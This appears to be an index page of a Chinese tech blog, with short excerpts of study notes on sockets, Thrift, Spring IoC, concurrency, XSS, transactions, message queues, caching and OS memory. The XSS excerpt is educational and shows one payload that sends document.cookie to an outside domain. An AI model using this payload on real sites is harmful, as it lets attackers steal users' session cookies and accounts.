0%

Socket

负责进行端到端通信,屏蔽网络层传输层细节,进行编程。

网络层需要指定是IPv4还是IPv6,分别对应AF_INET和AF_INET6。

传输层需要指定是TCP还是UDP。TCP基于数据流因此是SOCK_STREAM,UDP基于数据报因此是SOCK_DGRAM

阅读全文 »

一、什么是Thrift?

  • thrift是一种描述语言和二进制通讯协议,它被用来定义和创建跨语言的服务。它被当作一个远程过程调用框架来使用,是由Facebook为“大规模语言服务开发”而开发的。
  • 它通过一个代码生成引擎联合了一个软件栈,来创建不同程度的、无缝的跨平台高效服务,可以使用C#、C++(基于POSIX兼容系统)、Cappuccino、Cocoa、Delphi、Erlang、Go、Haskell、Java、Node.js、OCaml、Perl、PHP、Python、Ruby和Smalltalk。
  • 虽然之前是由Facebook开发的,但它现在是Apache软件基金会的开源项目了。
阅读全文 »

spring

IOC容器

org.springframework.context.ApplicationContext接口代表IOC容器,负责实例化,配置和组装Bean。

ClassPathXmlApplicationContext通过xml定义配置文件,是ApplicationContext的一种接口实现。

IOC可以帮助实例化对象,这是一个工厂模式。

本质上是一个BeanFactory

配置元数据

在xml中的标签中配置,中定义id与class类全限定名

阅读全文 »

分布式

线程

竞争与协作

java Reentrantlock 锁

协作 消息队列与condition

阅读全文 »

攻击技术

一、跨站脚本攻击

概念

跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。

攻击原理

例如有一个论坛网站,攻击者可以在上面发布以下内容:

1
<script>location.href="//domain.com/?c=" + document.cookie</script>
阅读全文 »

数据库系统原理

一、事务

概念

事务指的是满足 ACID 特性的一组操作,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。


阅读全文 »

消息队列

一、消息模型

点对点

消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。


阅读全文 »

缓存

一、缓存特征

命中率

当某个请求能够通过访问缓存而得到响应时,称为缓存命中。

缓存命中率越高,缓存的利用率也就越高。

最大空间

缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。

当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。

阅读全文 »

计算机操作系统 - 内存管理

分页机制

空间局部性,映射(字典树+快表(TLB))

虚拟内存

虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存,从而让程序获得更多的可用内存。

为了更好的管理内存,操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间,这个地址空间被分割成多个块,每一块称为一页。这些页被映射到物理内存,但不需要映射到连续的物理内存,也不需要所有页都必须在物理内存中。当程序引用到不在物理内存中的页时,由硬件执行必要的映射,将缺失的部分装入物理内存并重新执行失败的指令。

从上面的描述中可以看出,虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存,也就是说一个程序不需要全部调入内存就可以运行,这使得有限的内存运行大程序成为可能。例如有一台计算机可以产生 16 位地址,那么一个程序的地址空间范围是 0~64K。该计算机只有 32KB 的物理内存,虚拟内存技术允许该计算机运行一个 64K 大小的程序。

阅读全文 »

计算机操作系统 - 概述

基本特征

1. 并发

并发是指宏观上在一段时间内能同时运行多个程序,而并行则指同一时刻能运行多个指令。

并行需要硬件支持,如多流水线、多核处理器或者分布式计算系统。

操作系统通过引入进程和线程,使得程序能够并发运行。

阅读全文 »